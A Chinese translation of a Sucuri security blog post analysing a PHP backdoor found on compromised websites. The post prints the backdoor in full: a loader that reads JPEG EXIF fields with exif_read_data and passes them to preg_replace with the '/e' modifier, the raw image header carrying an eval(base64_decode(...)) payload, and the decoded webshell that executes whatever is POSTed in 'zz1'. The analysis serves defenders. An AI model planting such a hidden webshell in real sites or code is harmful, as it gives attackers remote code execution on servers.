隐藏在jpg图片文件源码头部的恶意软件代码

原文地址: http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html

    几天前,来自我们研究小组的Peter Gramantik在一个被感染的网站发现了一个非常有趣的后门。这个后门不是按照常规的方式隐藏其内容(不如base64/gzip编码),而是把数据保存在JPEG图片的EXIF头里。它(后门代码)也是在用户使用PHP函数exif_read_data 和 preg_replace 时读取头部数据并被执行的。


技术细节

这个后门程序可以分成两部分。第一部分是exif_read_data函数读取文件头信息和preg_replace函数执行读取的内容这两者的结合。我们在被感染的网站发现如下信息:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');

preg_replace($exif['Make'],$exif['Model'],'');


上面两个函数本身都没有什么危害。 Exif_read_data 函数通常用于读取图片信息,preg_replace函数用于替换读取到的字符窜内容。然而,preg_replace 函数当你传递“/e” 修正法时有一个隐藏的复杂的选则来把内容按php代码解析处理,而不是简单的搜索/替换。

 我们在检查bun.jpg文件时,发现了后门的第二部分:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
文件内容按理说开始应该是通常的头部信息,但是在这个“伪造”的头部包含一个奇怪的关键字 "/.*/e".这正是让preg_replace函数安装php代码解析传给他的任何内容的修正符。

现在情况比较有意思了。。。。。。

如果我们继续查看EXIF数据,可以看到"eval ( base64_decode"隐藏在这个"Model"头。当把这些都放到一起,就可以看到将会发生什么。攻击者从EXIF读取"Make"和“Model"头并把读取的内容用于preg_replace。一旦我们修改了文件中的$exif['Make'] 和 $exif['Model'],就得到了最终的后门

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");


一旦被解码,我们可以看到通过变量zzl POST过来的任何内容被执行。完整的解码后门如下

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
隐匿的的恶意代码
另外一个有趣之处是那个jpg图片及其他图片是没有免疫力的,即使感染恶意代码也会加载并正常显示的。事实上,

在这些被感染的网站,攻击者只是修改了一个合法的,预先存在的图片。这是采用一种非常奇妙的隐匿术来隐藏恶意代码。

注意:使用服务器端扫描可以保证客户安全从而阻止这类的注入(经我们检测)。


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值